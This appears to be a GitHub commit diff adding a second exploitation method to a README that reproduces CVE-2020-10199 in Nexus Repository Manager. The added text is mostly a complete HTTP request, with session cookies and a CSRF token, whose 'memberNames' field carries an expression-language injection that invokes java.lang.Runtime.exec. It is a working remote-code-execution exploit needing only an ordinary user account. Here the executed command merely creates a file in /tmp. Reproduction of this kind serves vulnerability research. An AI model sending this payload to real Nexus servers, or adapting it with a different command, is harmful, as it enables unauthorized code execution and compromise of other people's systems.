Skip to content

Commit 93d57c4

Browse files
author
“threedr3am”
committed
op:nexus CVE-2020-10199
1 parent c296857 commit 93d57c4

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed

nexus/CVE-2020-10199/README.md

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@ idea创建远程debug-启动
3333
### 5. 登陆任何一个账号
3434

3535
### 6. 调用接口
36+
#### 方法一(需要管理员权限)
3637
1. 创建CleanupPolicy:
3738
```
3839
POST /service/extdirect HTTP/1.1
@@ -99,4 +100,37 @@ Connection: close
99100
"passphrase": "string"
100101
}
101102
}
103+
```
104+
105+
#### 方法二(普通用户权限)
106+
```
107+
POST /service/rest/beta/repositories/go/group HTTP/1.1
108+
Host: 127.0.0.1:8081
109+
Content-Length: 195
110+
X-Requested-With: XMLHttpRequest
111+
X-Nexus-UI: true
112+
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
113+
NX-ANTI-CSRF-TOKEN: 0.7886248393834028
114+
Content-Type: application/json
115+
Accept: */*
116+
Origin: http://127.0.0.1:8081
117+
Sec-Fetch-Site: same-origin
118+
Sec-Fetch-Mode: cors
119+
Referer: http://127.0.0.1:8081/
120+
Accept-Encoding: gzip, deflate, br
121+
Accept-Language: zh-CN,zh;q=0.9
122+
Cookie: jenkins-timestamper-offset=-28800000; Hm_lvt_8346bb07e7843cd10a2ee33017b3d627=1583249520; NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=396e7352-f76c-4bdd-9833-98d7990dca3b
123+
Connection: close
124+
125+
{
126+
"name": "internal",
127+
"online": true,
128+
"storage": {
129+
"blobStoreName": "default",
130+
"strictContentTypeValidation": true
131+
},
132+
"group": {
133+
"memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/cve-2020-10199')}"]
134+
}
135+
}
102136
```

0 commit comments

Comments
 (0)